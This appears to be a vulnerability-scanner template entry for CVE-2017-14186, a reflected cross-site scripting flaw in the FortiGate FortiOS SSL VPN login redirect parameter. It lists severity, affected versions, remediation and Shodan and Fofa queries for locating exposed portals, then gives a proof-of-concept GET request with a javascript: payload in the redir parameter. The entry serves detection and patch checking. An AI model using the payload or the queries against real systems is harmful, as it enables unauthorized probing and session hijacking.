| Title | FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting |
|---|---|
| Author | johnk3r |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement. |
| Remediation | Apply the latest security patches or firmware updates provided by Fortinet to mitigate this vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.04051 |
| CVE ID | CVE-2017-14186 |
| CWE ID | CWE-79 |
| Shodan Query | port:10443 http.favicon.hash:945408572http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"http.html:"/remote/login" "xxxxxxxx" |
| Fofa Query | body="/remote/login" "xxxxxxxx"icon_hash=945408572 |
| Tags | cve2017 cve fortigate xss fortinet vuln |
FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
GET /remote/loginredir?redir=javascript:alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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